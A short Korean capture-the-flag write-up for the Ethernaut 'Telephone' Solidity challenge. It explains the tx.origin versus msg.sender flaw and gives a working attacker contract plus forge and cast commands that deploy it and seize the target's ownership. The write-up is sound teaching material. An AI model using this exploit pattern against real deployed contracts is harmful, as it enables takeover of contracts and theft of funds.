// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
이 문제는 tx.origin
과 msg.sender
에 관계를 알면 쉽게 풀 수 있다.
tx.origin
은 최초로 tx를 실행한 주소 즉, ethereum에서는 EOA가 되게 된다. ( 모든 tx는 EOA에 의해서 시작됨. CA가 tx.origin
이 되는 경우는 없음.)
msg.sender
는 msg 보낸 주소가 되는데 EOA가될 수도 있고, CA가될 수도 있다.
즉, 이 문제에서는 tx.origin
과 msg.sender
가 같지 않을 경우 owner
가 될 수 있는데 changeOwner(address)
를 호출하는 contract를 만들어 EOA -> CA 순서로 tx에 internal msg가 실행되도록 하면 owner
가 될 수 있다.
contract payload{
address public new_owner = address(0xd63f66B0C0ccE2f3906CF98128dD7eF566922204);
Telephone public target = Telephone(0x9782072248f0eD9E72567be8293cc80AFC8A62E6);
function attack() public
{
target.changeOwner(new_owner);
}
}
위에서 설명한 contract를 구현한 것이다.
forge create --rpc-url $G_RPC --private-key $P_KEY src/answer.sol:payload
컨트렉트 배포
cast send --rpc-url $G_RPC --private-key $P_KEY 0x9dcc662592506297C4eaC9Ae70A8FA66E3489fFa "attack()"
함수 호출
이렇게 문제를 풀이할 수 있었다.